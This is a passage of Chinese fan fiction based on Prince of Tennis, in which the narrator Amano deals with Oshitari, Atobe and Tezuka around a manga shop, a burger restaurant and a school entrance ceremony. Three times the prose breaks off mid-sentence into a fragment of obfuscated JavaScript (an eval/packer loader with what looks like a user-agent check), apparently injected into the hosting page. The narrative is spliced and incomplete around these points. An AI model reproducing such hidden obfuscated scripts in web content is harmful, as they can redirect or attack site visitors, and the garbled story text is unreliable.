那里有扇窗户,摆着一套双人沙发和一张小圆桌。 除非是这家店的骨灰级顾客,否则绝对不知道店里还有这样的风水宝地。 我把背包放到沙发上,和兼职姐姐一起将漫画书整齐地摞在小圆桌上。 兼职姐姐知道我喜欢缩在角落看漫画,特地给我拿了个坐垫,我连连道谢。 兼职姐姐神神秘秘地对我说:“之前经常和你坐一块儿看漫画的那个眼镜帅哥,上个星期还有前几天都来店里看了一下午的漫画。” “那个眼镜帅哥中途还问我,最近你有没有过来,我说你有快半个月没来了。” 我解释说前段时间有点事就没有过来。 春假总共才两三个星期,大部分时间我白天都在往医院跑,只能晚上睡前窝在被子里看连载更新。 兼职姐姐揶揄地问我:“我看那个眼镜帅哥应该是在特意等你,你们不打算约好时间一起来吗?” 我摆了摆手,“没有那回事,因为我们总是有事凑不到一起,所以才说干脆各自来店里,能碰到就碰到,碰不到就算了。” 兼职姐姐眨眨眼睛,一脸“天呐竟然还有这种操作”的惊叹表情,双手捧着脸说:“你们俩也太浪漫了吧!” 我头顶缓缓冒出一个:“?” 兼职姐姐提到的眼镜帅哥,是我中二第二学期,也就是去年秋天到冰帝学园当交换生时认识的朋友,忍足侑士。 当时我和忍足不同班,何况他还是个打网球的——老实说我真的怀疑过,网球其实是长成球状体的魅魔。 不然无法解释为什么那么多风格迥异的帅哥都遭到它的祸害。 按理来说,我和忍足不会有成为朋友的机会。 我们熟悉起来的契机,是昼休时我喜欢在图书馆看漫画。 那天我看完自己带的漫画,准备去书架上找几部小说打发剩余的时间。 冰帝学园不愧是关东地区闻名的贵族学园,图书馆修建得比青学的教学楼还气派。 我一边感叹投资方的大手笔,穿过排排书架,偶然看见倚在窗边墙壁上的深蓝发少年。 他戴着一副椭圆眼镜,单手拿着一部包着书壳的小说,低头阅读的模样乍一看有些随意散漫。 那双仿佛天生盛着情意,即使有镜片阻隔,不经意一瞥就能虏获少女芳心的狐狸眼略微低垂,神情认真而专注。 那样的眼神不像是旁人口中“风流成性的花花公子”会流露出来的。 单纯从欣赏帅哥的视角来说,眼前这一幕十分养眼,我止乎礼地移开目光。 没想到在我移开目光前,深蓝发少年先一步抬起头,嘴角挑起一丝笑意,用慵懒魅惑的关西腔说: “哦呀,这不是青学的天野桑吗?” 自那之后我逐渐得知,传闻中万花丛中过片叶不沾身的“冰帝天才”忍足侑士,原来是个纯爱战神。 不但热衷于日本本土纯爱系影片的鉴赏,对各国女性作家笔下的纯爱著作更是如数家珍。 当然,在我的极力推荐下,忍足也开始涉猎漫画领域,不然后来我们也不会在漫画书店偶遇了。 我还是不能理解兼职姐姐说的“浪漫”是什么意思,想来想去大概是每个人对“浪漫”的定义不同。 比如,我觉得现在我正在看的这部漫画,女主角站在树底下双手接住差点被挂在树上的围巾吊死的男主,这个分镜头就浪漫到我的眼泪差点从嘴角流了下来。 果然人就是得看这种东西才有力气讨生活啊! 我忍不住心潮澎湃,好像自己就是现场挂在树上差点把男主角勒断气的那条围巾。 我兴冲冲地翻到下一页,正要仔细阅读旁白,听见一道熟悉的关西腔由远及近地叫我: “天野。天野?” 听出来人的声音,我正看到兴头上,没有抬头,伸手指了下圆桌上堆得高高的漫画书。 “忍足你想看什么自己拿,我看完再跟你讲,这部真的太有意思了……” “啊嗯,你这个不华丽的女人,有沙发不坐偏偏坐地板上?” 这道猝不及防在耳边响起,一听就知道是未来天花板级别霸总的男声,强行把我从漫画世界里拽了出来。 我不得不抬起头,啊,好像还是没能看到脸,我又仰起脖子。 站在我面前的紫灰发少年双手插兜,面容英俊,身姿挺拔。 从那双海蓝眼眸里投出的目光似乎轻轻一扫就能够洞察人心,右眼下点缀着一颗泪痣,更让这份无可挑剔的帅气极具辨识度。 坦白来说,“英俊帅气”是少年最不值一提的优点,最夺人眼球的是他身上丝毫不加掩饰的唯我独尊的气场。 以至于给人一种,不管在哪里,只要他随手打个响指,就能从天而降一场埃塞俄比亚空运的玫瑰花瓣雨,无厘头又理所当然的感觉。 竟然是迹部大爷大驾光临。 我立刻站起身,嘴角咧开一个尴尬不失礼貌,惊恐不失优雅的微笑: “啊,我正在迷惑不解为什么一下子天亮了,整个视野突然变清醒了,原来是在平平无奇的休息日也依旧容光焕发,全身闪耀着的华丽光彩连基督升天时脚下那片七彩祥云的光芒都黯然失色,大名鼎鼎的冰帝之王迹部景吾殿下——Oh my gosh,万分抱歉,我竟然直呼迹部殿下的名讳,我自罚闭嘴三分钟。” 迹部大爷:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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可惜迹部大爷的眼神太过犀利,我那个“不”字还没发音,已经被扼杀在口腔里。 我实在放不下没看完的漫画,试图做出无用的挣扎:“现在已经到吃午饭的时间了吗?” “我去不太好吧,要是被冰帝的昔日同窗看到我在你们两个中间当电灯泡,我真是良心难安……” 不知道我这句话哪里惹到了迹部大爷,迹部大爷双手抱臂,皮笑肉不笑地问我:“你看看手机现在都几点了?” “怎么,你还是本大爷和忍足的CP粉?你站‘迹忍’还是‘忍迹’?” 别看迹部大爷给出了两个选项,这就跟“我和你妈同时掉进水里你先救哪个”一样是道送命题。 不管选哪个选项最后只有我被扔进东京湾的下场。 我不敢怒也不敢言,只能幽怨地看一眼旁边演都不演了,笑得用“令人发指”都不足以形容的忍足。 他绝对是因为起床气太重,一大早又被迹部大爷从床上薅起来,所以决心也要拖我下水。 “……我站M记。” 5. 第五局 “救命我要晕过去了你快看靠窗那两个顶级大帅哥啊啊!!” “不是这到底是快餐店还是旋转餐厅?这种Next Level的帅哥原来也会吃汉堡炸薯条吗?” “那个紫灰发帅哥身上的外套是GA经典款也就算了,手上那块表还是PP星空系列白金蓝星空腕表!” “我勒个财阀大少体验平民日常的经典桥段今天也是被我撞上了?” “你还有精力观察外套手表,我现在眼里只有那个蓝发帅哥嘴角三分凉薄三分淡漠四分漫不经心的笑……” 街边快餐店,下午非用餐高峰时段,店内一反常态地挤满了客人。 不断有打扮时髦的潮男靓女推门进来,不知道的还以为是什么热门IG网红打卡地。 匪夷所思的是,尽管店里人满为患,靠近窗边那一桌的其他餐位却少有客人落座。 倒不是说那里有什么让人避之不及的东西,正好相反,在场所有人的目光都忍不住集中在那一桌的两位少年身上。 “好想勇敢一把问问那两个帅哥能不能拼个桌……” “这个借口会不会有点太明显了?附近基本都是空位子?” “也是哦,那两个帅哥好像坐了有一会儿了,也没有点个薯条什么的?” 点了。 不仅点了薯条,还点了芝士汉堡和无糖可乐。 我端着三人份的芝士汉堡套餐,看着眼前摩肩接踵的人群,突然明白了什么叫世界上最遥远的距离。 就算是智商高达400的怪盗积德恐怕都想不到,只是在柜台等个餐的功夫,刚才还人数寥寥的快餐店已经被新来的客人们挤得水泄不通。 我正在很严肃地思考,要不要打包我的那份套餐装进背包里。 然后假装服务生光明正大地穿过人群,把两份套餐送到忍足和迹部大爷面前,最后摁F键闪退。 虽然这样做的后果大概率比被我扔进东京湾的下场还要惨烈。 就在我迟迟拿不定主意的时候,可能是半天都没等到我供奉上芝士汉堡套餐有些不耐烦,迹部大爷往柜台这边的方向斜睨了一眼。 只这一眼,周围窃窃私语的男男女女瞬间安静下来。 我不确定迹部大爷有没有看到站在人群后面的我,但我确实有一种像是被人盯着似的背脊发凉的感觉。 我不由想到一只把蓝色裤衩子顶在头顶的猫,那只猫盯着我嘴里念念有词“我会一直监视你……永远……”。 忍足从座位上起身,风度有礼地对旁人说“借过”,欲气十足的低语惹得一个高冷长腿御姐都微微红了脸。 他径直向我走来,双手拿过我端着的托盘,开门见山地对我说:“天野,迹部刚才问我你是不是偷跑了,我说怎么可能,所以你懂的。” 我也不是想懂的。 我痛心疾首地说:“忍足,如果以后你碰巧拥有时光倒转的能力,记得在我刚才说来快餐店的时候抽我两巴掌,让我哪儿凉快哪儿待着。” 忍足拖长尾音“诶”了一声,“我看起来是那种性格粗鲁,会对女孩子动手的人渣么?” 我尽量不去看迹部大爷冷飕飕的眼神,“你这不是性格粗鲁对我动手,而是古道热肠拯救我于水火啊。” 事已至此,我也顾不上周遭步步紧逼的视线,拉开靠窗的椅子坐下。 忍足坐在我旁边,迹部大爷坐在我斜对面,我正对面的位置是空着的。 我正准备取下身后的背包挂在椅背上,迹部大爷冷不防地开口说:“包给我。” 我有点没反应过来,“啊,你要这个包吗?那我先把里面的东西拿出来。” 迹部大爷:“……” 迹部大爷冷着脸,不仅宽宏大量地原谅了我偶尔的缺根筋,还菩萨心肠地考虑到我的大脑CPU没法快速识别语音,特地一字一句地告诉我: “放、在、空、位、上。” 我是在纳闷审美水平堪比达芬奇在世的迹部大爷,怎么可能看得上我这个背了多年的旧包,也不是什么名牌货。 绝对不是说如果是名牌货迹部大爷就看得上。 不偏不倚地讲,迹部大爷看起来唯我独尊,有时候摆谱过头显得不把别人放在眼里,其实为人很有绅士风度。 再加上,他的容貌能力家世样样都处于人类金字塔顶端的水准,哪怕只是不分对象的教养使然的言语举止,也会让人有受宠若惊的感觉。 可惜我刚才被自己狠狠尴尬到,正在用脚趾抠海景别墅,没有多余的精神力受宠若惊。 众所周知,日本的经济越来越不景气,快餐店的汉堡也越做越迷你。 一个托盘竟然能放下三人份的汉堡套餐就已经足够说明问题了。 我急着赶回去看漫画,啃啃汉堡吃吃薯条喝喝可乐,随便填一填肚子还行。 对于每天都要进行魔鬼训练的忍足和迹部大爷,话糙理不糙地说,这个份量连塞牙缝都不够。 哦,忘了说,迹部大爷也是打网球的。 迹部大爷不仅是“打网球的”,还是独霸一方的冰帝男网部部长,带领队伍夺得东京都大赛冠军、关东大赛亚军,屡次晋级全国大赛。 在日本中学生网球界享有“帝王”这样脸皮稍微薄一点的人念出来都觉得羞耻的中二称号。 不要问我,为什么我最讨厌网球,认识的人里却有那么多打网球的。 我比全宇宙任何一个人都想问这个问题,如果有哪位好心地球人或者外星人知道答案,请务必联系告知我,谢谢。 我正打算问忍足和迹部大爷,只吃一份汉堡套餐够不够,要不要再加几个汉堡。 毕竟这两人约会、我是说,和朋友一起出来逛街后,估计还要和朋友一起出来训练,到时候双双晕倒在球场上怎么办? “唉,都不知道该羡慕桌上哪个人,这真的不是在拍电影么?” “不可能,绝对不可能,我还是不能相信紫灰发帅哥居然是唯一单身的那个……” “怎么就不可能了,蓝发帅哥和棕发美女也很搭啊,不觉得像是风流浪子遇到真爱天使秒变痴情忠犬的剧本吗?” “我承认听起来是挺好嗑的,但如果是这样的组合,紫灰发帅哥不就成Steve了么?” 迹部大爷:“?” 忍足:“唔。” 我:“?” “依我看蓝发帅哥和棕发美女也不一定就是一对儿,刚才紫灰发帅哥还帮棕发美女拿包,说不定三人都只是朋友?” “别啊,那还不如换乘恋爱呢,要我说干脆把两个大帅哥都收了,区区两根……” 迹部大爷:“……” 忍足:“喔。” 我:“……” 当我意识到我听到怎样的日本语的时候已经来不及了。 如果可以的话,我很想立刻向我的免疫细胞报告我的耳朵坐标。 啊,好希望我是路过的一只蚂蚁,听不懂任何人类语言。 退一万步来说,忍足和迹部大爷是比同龄男生长得成熟了亿点,还都是将近一百八十公分的大帅哥,被误认成男大学生也是常有的事。 但是,他俩如果去医院挂号,挂的都是儿科,是儿科啊! 再听到这样的吐槽就过不了审了,我把自己当成一团从西伯利亚飘来的冷气团,拿起芝士汉堡拆开包装纸,默默开始啃面包胚。 柔软的汉堡胚搭配咸香多汁的牛肉饼下肚,血液逐渐集中在胃部,让我的脑袋得以有空启动记忆清除程序。 “你只吃一份套餐吃得饱吗?” 忍足分明是个纯爱战神,却总是被当成情场老手,除却天生的长相和嗓音外,很大程度上是因为他总是一副游刃有余的姿态。 比方说现在,即使听到这样那样的虎狼之词,他也完全像个没事人似的。 话说回来,我怎么感觉忍足刚才故意在底下当捧哏,人家讲一句,他给一个反应? 我说:“这应该是我要问的吧,你们只吃一份套餐就够了吗?” “我以为男生至少要吃三个芝士汉堡打底,再吃两份大薯,喝一杯大可?” 迹部大爷闻言看了我一眼。 如我所想的那样,迹部大爷也完全是面不改色的样子。 就当我的刻板印象作祟,我委实想象不出,从来都是盛气凌人的迹部大爷也会害羞脸红。 忍足咬一口芝士汉堡,“我们上一顿吃的比较多,现在不太饿。” 我“哦”了一声,“虽然这么说像是得了便宜还卖乖,真的非常感谢两位,这一顿饭就让我来请吧。” 如果不是忍足和迹部大爷问我一起吃午饭,等我想起来要吃东西,估计已经饿得前胸贴后背了。 到时候我只能颤颤巍巍地背着漫画书,说不定连走路的力气都没有,不得不阴暗爬行去便利店买便当。 再说,忍足和迹部大爷都不缺这一顿饭。 忍足出身大阪医学世家,迹部大爷是那个迹部财阀的大少爷,两人恐怕一年都不会来一回快餐店。 听到我这么说,从刚才在漫画书店起就一直不太爽的迹部大爷,总算看起来没有那么不爽了。 迹部大爷“呵”一声,“还算有点良心。” 我:“……” 我觉得一顿饭也不至于上升到良心那种高度真的。 忍足倒是很可惜地叹了口气,“感觉有点亏啊。” 我疑惑道:“有点亏?” 忍足看着手里还没他巴掌大的芝士汉堡,“我现在真的只吃得下这一份套餐,连多一根薯条都吃不下。” 我一副欲言又止、止言又欲的表情,“你别告诉我,你打算在快餐店把我吃破产?” 忍足差点笑出声,“那倒是没有那种打算,只是不想错过这么宝贵的机会。” 我沉默了下,“忍足,你是话里有话,暗示我很抠门吗?” 忍足耸了耸肩,摇头说:“这也算是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我三言两语解释完原因,笑眯眯地说一句“果然我和网球八字不合”。 迹部大爷扯了扯嘴角,“你这是迁怒吧。” “这个请求确实不合理,时间也来不及准备,你完全可以拒绝。” 我反倒惊讶于迹部大爷对我说“完全可以拒绝”。 在万众瞩目的大会现场发表讲话这种事情,对迹部大爷来说就像呼吸一样简单。 他在冰帝的开学典礼上的发言,并非八股文式的长篇大论,更像是他心血来潮的发号施令。 然而,即便只有短短几句话,从他口中说出来也格外令人信服。 全场师生们也都如他那句自我到极点的口头禅一般,沉醉在冰帝之王的华丽之下。 正因为如此,我以小人之心度君子之腹,以为他会给出类似于“不过是讲两句话而已真是小题大做”的评价。 直到迹部大爷用眼神警告我“你盯着本大爷干什么”,我才察觉到自己的目光停留在同一个地方太长时间。 停留的地方还是迹部大爷那张只可远观不可亵玩的帅脸。 我轻咳一声,解释说:“因为迹部殿下您全身闪耀着人性的光辉,我不知不觉就看呆了。” 迹部大爷:“天野你真是胆肥了,敢当着本大爷的面阴阳怪气本大爷?” 我:“……我这真的是在夸迹部殿下不但英俊帅气还具有人性美啊。” 真不知道我在迹部大爷那里究竟留了多少案底,如此真情实感的赞美都能被解读成阴阳怪气。 难道是因为我的阴阳怪气和我的真心赞美都是同样的直白? 至于为什么没有拒绝,我说:“我们副会长是个性格很要强的人,如果不是实在没有办法,她绝对不会把份内的工作交给别人。” “老实说,我也没想到她会主动开口找我,在我力所能及的范围内,我愿意帮这个忙。” 忍足看着我一会儿,叫我不明所以地说:“你还真是心软。” 我反问:“这是夸奖吗?” 忍足低声笑了笑,“我这句话是夸奖。” 没时间说太多,从快餐店出来,我向忍足和迹部大爷挥手道别:“那我去学校拿发言稿了,改天见。” 忍足笑着对我挥了挥手,让我路上注意安全,迹部大爷双手插兜,点了下头算是回应。 副会长在电话里说,她放了一份备用演讲稿在学生会室,以及学生会室的备用钥匙就藏在窗台从左往右数的第二个花盆底座。 我搭电车抵达青春台站,看见学校门口已经放置好“入学式”的立牌,学校礼堂前也挂上了“欢迎新生入学”的横幅。 即将迎来又一批新面孔的校园随处焕发着生机,道路两旁绽放的樱花在风的轻拂下徐徐飘落。 经过中庭,那里有一棵据说树龄比建校时间还要悠久的巨大樱树,我走上前驻足片刻,闭眼感受春日馥郁的气息。 来到综合楼学生会室所在的楼层,我在花盆底下找到备用钥匙,正要将钥匙插入锁孔,门把手突然开始转动。 我一怔,猝不及防间,关闭的门从里面被推开。 手里的钥匙“啪嗒”一声掉在地上。 我抬起头,对上一双波澜不惊的棕黑色的丹凤眼。 6. 第六局 在钥匙掉落的那0.3秒里,我究竟是在想,中学第三年终于轮到我撞上“青学七大不可思议”。 还是在想,前几天刚刚嘲笑过某高中网球部王牌连球拍都握不住的我,现在竟然连小小一把钥匙都拿不住,真是情何以堪。 又或是其他别的什么,我自己也不知道。 我俯身准备捡起掉在地上的钥匙,面前的少年先一步弯腰捡起来。 这可不是纯爱漫画里,女主角不小心撞到男主角,手里抱着的宣传单散落一地。 女主角慌慌张张地伸手去捡,男主角也同时伸出手,两人不小心碰到手指,彼此目光相对,脸红心跳的情节。 少年面无表情地将钥匙递给我,我捏着柄部末端接过那把钥匙,颔首道谢: “谢谢手冢桑。” 这位身高目测一百七十九公分,茶褐色头发,戴着金丝边眼镜,面容冷峻,看起来像二十多岁成年男子的少年。 正是和我同为准三年生的学生会长,也是周助所在的男子网球部部长,手冢国光。 手冢国光略作点头,“啊”了一声,算是回应。 我以为手冢国光要离开学生会室,后退两步,侧身礼让。 与此同时,手冢国光以为我要进学生会室,后退一步,稍微侧身。 我们两人一言不发地后退侧身,好像中间有什么看不见的生物经过似的。 老实说,这个场面既诡异又幽默。 诡异中透着三分幽默,幽默中透着七分诡异。 好在我笑点比较高,换作其他人在场,指不定就绷不住笑出声了。 对方是支持率遥遥领先的学生会长,肯定不会计较谁先走这种芝麻小事。 我也没有和手冢会长玩“你先请”、“你先请”、“不还是你先请”二人转的打算。 纯粹只是我无聊的臆想。 手冢会长是青学他敢说第二没人敢说第一的冰山美男,不是NHK的当红搞笑艺人。 我礼貌道谢,目不斜视地经过手冢国光身前,走进学生会室。 听见身后门被轻轻带上的声音。 应该是手冢国光出去了,我没有在意,从副会长办公桌的抽屉里拿出备用发言稿。 将发言稿装进背包里时,我随意扫了一眼室内陈设。 我来学生会室的次数屈指可数,上次来还是前会长任职期间。 虽然整体布置几乎没有变化,从桌面摆放或多或少能看出使用者的行事风格。 比方说,面前这张办公桌,文件堆积如山却不显得杂乱,符合副会长有条不紊的做派。 旁边那张办公桌,放着几本大部头哲学书籍,还有几个典藏版初音手办,听说二年级的书记随和率性。 至于靠窗位置的那张办公桌,桌面一尘不染,只有一台冷冰冰的台式电脑。 角落里还立着一个看上去就重得要死,一旦背起来压得人肩膀抬都抬不了的网球袋。 毫无疑问是。 我背上背包,转身,再次对上那双棕黑色的丹凤眼。 少年的眼神似乎永远都没有变化,不知道该说是处变不惊,还是少年老成。 配合着他那张泰坦尼克号都不敢撞上去的冰山脸,仅仅是无言的注视都会给人一种强烈的压迫感。 我这才意识到,偌大的学生会室里只有我和手冢国光两个人。 难怪室内温度这么低,我还在嘀咕这才开春没多久,学生会室怎么就开冷气了。 我向手冢国光礼貌颔首,径直走过去,推开门。 可能是因为风太大,不小心把门给吹关上了。 我自认为不是什么自恋狂性格,也不认为高岭之花的手冢会长有隐藏跟踪狂属性。 但是,当我把钥匙放回花盆底座,刚走到楼梯口,听见后面门落锁的声响。 什么意思? 手冢国光总不会故意跟我前后脚走吧? 如果这是纯爱漫画,男女主角走在傍晚空旷的校园里,漫天樱花,无疑是很唯美浪漫的情景。 但如果这一男一女是手冢国光和我,我不得不怀疑这个故事的tag是#猎奇#、#惊悚怪谈#、#胆小慎入#。 不管是不是我自作多情,就当是我自作多情好了。 为了避免这种尴尬场面的发生,我迅速走下楼梯,拐进下一层楼的走廊。 沉稳镇定的脚步声由远及近,几乎贴着耳边响起,再由近及远,直至彻底消失。 保险起见,我决定再在原地等一会儿,拿出手机,看到周助给我发的消息。 周助说,他明天要出去打比赛,比赛场地附近的商店街有家新开业的甜甜圈店,问我想吃什么口味。 周助还给我发了店家的实拍菜单,看店名刚好是我之前和他提到过的那家东京排队王,估计是人气太火爆又开了新分店。 Amano:【招牌樱花味!吃过都说好,忘都忘不了。】 Amano:【比格大王驾到~众爱卿平身~.JPG】 Fuji:【好。】 Fuji:【你还在漫画书店吗?】 我言简意赅地向周助解释了答应副会长发表欢迎辞的事情。 Amano:【我刚拿到发言稿,准备再去一趟漫画书店,我买的漫画还寄存在老板阿姨那里。】 Fuji:【那你在学校门口等我一会儿,我和你一起去。】 Amano:【诶,不是快到晚饭时间了么?】 Amano:【不用那么麻烦,你明天还要打比赛,今晚好好休息吧。】 Fuji:【空纯一个人吗?】 Amano:【如果我背包里的小比玩偶不算人的话,我确实是一个人。】 Fuji:【果然还是不能放心啊。】 Amano:【放心放心,待会儿我搭电车、到漫画书店、再搭电车、回去公寓都给你发消息。】 Amano:【你也为小比我倾倒吗.JPG】 Fuji:【嗯呢。】 回复完周助的消息,我特意从走廊窗户看了一眼通往校门方向的樱花道。 太好了,别说一个人影,连半个鬼影都没有。 我顿时心情愉悦,下楼梯的时候又又又想到那部没看完的漫画,打定主意今晚回公寓一定争分夺秒翻到最后一页。 希望明天醒来我不会顶着两个熊猫眼上台发言。 这样想着,我转过楼梯角,脚步蓦地停住。 茶褐色头发的少年站在檐廊下,身材清瘦颀长,金丝边眼镜透着一股斯文俊雅的书卷气。 即使穿着清爽利落的休闲外套和长裤,还背着MIZUNO的网球袋,也很难让人相信他是运动系男生。 或许是察觉到骤然停顿的脚步声,那双原本望着别处的棕黑色丹凤眼转过来。 这是短短时间内,我第三次与手冢国光视线相对。 我完全感觉不到被抓包的尴尬,只觉得头皮发麻,浑身连烦躁郁闷的力气都提不起来。 手冢国光原来是这样不懂察言观色的人吗? 我都刻意躲开了,为什么就是躲不过? 不知道手冢国光什么意思,我移开目光,礼貌询问: “手冢桑,请问有什么事情吗?” 手冢国光沉默一会儿,开口说:“副会长下午告诉我,明天你答应帮忙在入学典礼上致辞,辛苦了。” 我颔首道谢:“谢谢手冢桑。” 我没有任何展开话题的意思,手冢国光自然也看出了这一点,说道: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一般来说,很少有同学会特意关注台上的发言人。 对发言人的名字稍微有点印象已是极少数,能将名字和脸对上号的更是寥寥无几。 除非发言人的长相极其惹眼,存在感极度强烈,言行作派极致嚣张狂妄。 迈着六亲不认的步伐上台,二话不说抬手打个响指,把所有打瞌睡的同学吓得一蹦三尺高。 (迹部大爷:?) 越前龙马全程没有抬过头,音响里传来清润细腻的女声时,他合上的眼睑稍微动了动。 周围安静得不像话,没有窃窃私语的议论声,只有潺潺细雨般的声音落在耳边。 越前龙马起初只是闭着眼睛打盹儿,听着女声娓娓道来,好像真的沉沉睡了一觉似的。 直到礼堂里再度响起掌声,他睁开眼睛,抬起头。 越前龙马的位置处于中间地带,按理来说看不太清台上人的脸,五官基本是模糊一团的状态。 不知道是他拥有远超常人的绝佳动态视力,还是女孩拥有一张即使隔着遥远距离,只要注意到就无法忽略的、格外清晰的脸庞。 越前龙马清楚地看见,女孩不紧不慢地走下台阶。 颜色款式都乏善可陈的学生制服穿在她身上,也让人觉得清新雅致。 她微微低垂的眼眸,是比窗外初春晴朗的天空,还要纯净空明的蔚蓝色。 跟两颗蓝玻璃珠子似的。 心里冒出这样的念头,越前龙马总觉得这个颜色好像在哪里见过,一时又想不起来到底在哪里见过。 7. 第七局 越前龙马向来是不会纠结问题的个性,想不明白索性就不想了,有时连问题本身都会忘记。 偏偏这一回,这个无关紧要的问题,一直纠缠着他不放。 以至于典礼结束,他去新班级报到,担任老师在讲台上长篇大论,他趴在课桌上想不出个所以然。 之后去网球部提交入部申请书,他也心不在焉,路上差点撞到一个平头学长。 同班的男生,名字叫枯萎还是堀尾什么的,凑过来跟他说球龄两年也要加入网球部,一路在他耳边吵吵嚷嚷个不停。 等走到网球场,听说二三年级的正选队员都出去比赛了,倒是留下几个耍脏把戏的非正选队员。 不管在哪里都能遇到这种只长年纪不长脑子的人。 往日他懒得理会,今天却莫名感到不爽,毫不留情地揭穿了几人的拙劣伎俩。 后面跟那个过来解围的自称“阿桃”的学长,也就是先前碰到过的平头学长,打了几球也不过瘾。 一开始还犯了发球失误这种低级错误。 在周围一年生“龙马君真厉害”、“阿桃学长可是二年级的正选队员诶”、“越前你之前在哪里打网球啊”的惊叹声中。 越前龙马自顾自地收拾好球拍和运动衫,淡定答一句“寺院”,背起网球袋离开球场。 或许是脑袋一直在想问题,再加上初来乍到新学校,越前龙马走了半天也没看到校门。 等他反应过来的时候,自己也不知道走到哪个犄角旮旯。 越前龙马扭头看了眼附近标志性的建筑。 如果他没记错新生手册上的学校地图,这里应该是和网球场相反方向的图书馆。 思考了下校门所在的方位,越前龙马沿着樱花道往前走。 冷不防地听见旁边花坛传来一阵动静。 “喵嗷——喵嗷——!” 哪里来的伪猫。 习惯了自家猫的咕噜声,越前龙马很长时间都没听过这么一耳假的鬼叫、哦不,猫叫声。 估计是哪个人闲得没事逗野猫玩儿,可惜模仿声音的天赋技能为负值。 任何一只能呼吸的、四肢能动的真猫,听到这种伪猫叫声,都会立刻弓背炸毛哈气三件套。 然后像身后有洪水猛兽般,头也不回地一溜烟跑走,生怕慢一步就要见到天堂的太爷爷。 越前龙马这么想着,一只狸花猫风驰电掣地从他面前一闪而过。 已经不能用“身后有洪水猛兽”来形容这种逃跑速度了。 “诶,等等,我都还没走近,为什么又跑了?” “难不成这只狸花猫有读心术,知道我一直想抓它去做绝育么……” 越前龙马原本神色不动,硬要说的话,他其实有那么点想笑。 能把天不怕地不怕的狸花猫骇到这种程度,从某种意义上来说也算是个厉害人物了。 听见女孩稍显困惑的自言自语,越前龙马忽地停住脚步。 * 从床上艰难爬起来后,我看到洗漱镜里两个完美cos大熊猫的黑眼圈,就知道自己“怕什么来什么”的人设依旧非常稳定。 家政阿姨明天才会结束休假,我刷牙的时候,顺便用烤吐司机烤了两片牛奶吐司当早餐。 我还是吃不惯干巴巴的西式早餐。 换好春秋款学生制服,穿上加绒厚黑裤袜,我背着我的大背包出发去学校。 临走前习以为常地对着空荡荡的客厅说了句“我出门了”。 青学的学生制服没有区分年级,准三年生的我混在一众新生中也不显得突兀。 刚入学的新生身上带着天然的蓬勃朝气,我好像也受到感染,体会到一种久违的新鲜感。 想起两年前,初到青学的那天,我作为新生代表要在入学典礼上发言。 那个时候,我才回日本没多久,有段时间没怎么说日语,差点忘记不需要张嘴说话是什么感觉。 我总觉得嘴皮子不太利索,再加上说话习惯性夹杂两句英语,搞不好就容易被人以为在故意装〇。 不幸中的万幸,我这人有个优点,不管心里多么紧张,面上也能表现得滴水不漏。 就算紧张到两腿打颤,我也可以理直气壮地用“天气这么冷竟然还要穿制服裙可不得冻得我瑟瑟发抖”来解释。 我记得,入学典礼开始前,我还特地跑到礼堂后边的树林做发声练习。 周助在教室里没看到我,出于担心一路找到树林里。 看到我一个人在那里“啊-啊/啊\/啊\”,脸上的笑容比背后盛开的樱花还灿烂。 我倒是不觉得不好意思。 周助和我可是从幼稚园就认识的幼驯染,我被他看到不好意思的事情多了去了,这才哪到哪儿。 我看似抱歉,实则毫无歉意地说:“实在不行的话,等会儿我只能把底下其他人都当成萝卜头了。” 周助还是那副笑眯眯的样子,“可以啊,反正其他人也不知道。” 我突然萌生出想要逗一逗周助的念头,“那,我把周助你也当成萝卜头?” 周助唇边的笑意逐渐加深,弯着眼睛回答:“那不可以哦。” 我忍不住也跟着笑起来,“放心好了,我绝对不会把周助当成萝卜头的。” 春风吹得樱花簌簌落下,周助睁开冰蓝色的眼眸,安静地看着我一会儿。 隔着衣袖,他动作轻柔地握起我的手腕,修长的手指在我掌心里写下一个“人”字。 他温和沉静的声音在风中越发柔和,“空纯把‘人’字吞下去后,就不会再紧张了。” 掌心有指腹划过时痒痒的触感,我下意识地缩了缩指尖。 相较于皮肤接触的痒意,我更能感受到的,是心脏仿佛被阳光晒过的柔软羽毛包裹的温暖。 我对上周助含着笑意的双眼,扬起的嘴角始终没有耷下来。 无论如何,能够重新见到周助,真的太好了。 我点头“嗯”了一声,真心诚意地对周助说:“周助,你能多写几个让我吞么,一个‘人’字真的不太够。” 周助:“……” 在周助的鼎力相助下,我一连吞了十八个“人”字,终于成功结束作为新生代表的发言。 七喜可乐,七喜可乐。 这次虽然没有周助的助力,我同样非常顺利地完成了致辞任务。 现在的我已经不是当年嘴皮子不利索的我了。 现在的我是天野·钮祜禄·空纯,用日语英语无缝衔接讲“八百标兵奔北坡”的中文绕口令都不在话下。 典礼结束后,恨不得倒头就睡的新生们去往各自的班级报到。 反正我现在回公寓也没什么事,干脆就近去图书馆把昨天没看完的漫画看完。 不愧是我心心念念的漫画,看到结尾女主稳稳当当接住从树上跳下来的男主,男主却得寸进尺说能不能一辈子当女主的围巾,女主爱在心口难开只能一巴掌把男主扇得老远,我真是感动得不能自已。 当我细细品味完其他几部漫画,已经是下午时候。 我收拾好背包,从图书馆里出来,好巧不巧地看到那只不太待见我的狸花猫,大摇大摆地从我面前经过。 哼,比起猫这种阴晴不定的生物,果然还是我们热情小比可爱一万倍。 我本来不打算理这只心高气傲的狸花猫。 但是,这只狸花猫竟然一直挑衅地对我嗷嗷叫,还嫌不够似的跳上花坛对我甩屁股。 俗话说得好,谁可忍,我不可忍。 等我抓到这只得意忘形的狸花猫,我一定要带它去做绝育! 我装作猫猫祟祟的样子,跟着狸花猫去到花坛后边,照葫芦画瓢地发出它挑衅的叫声: 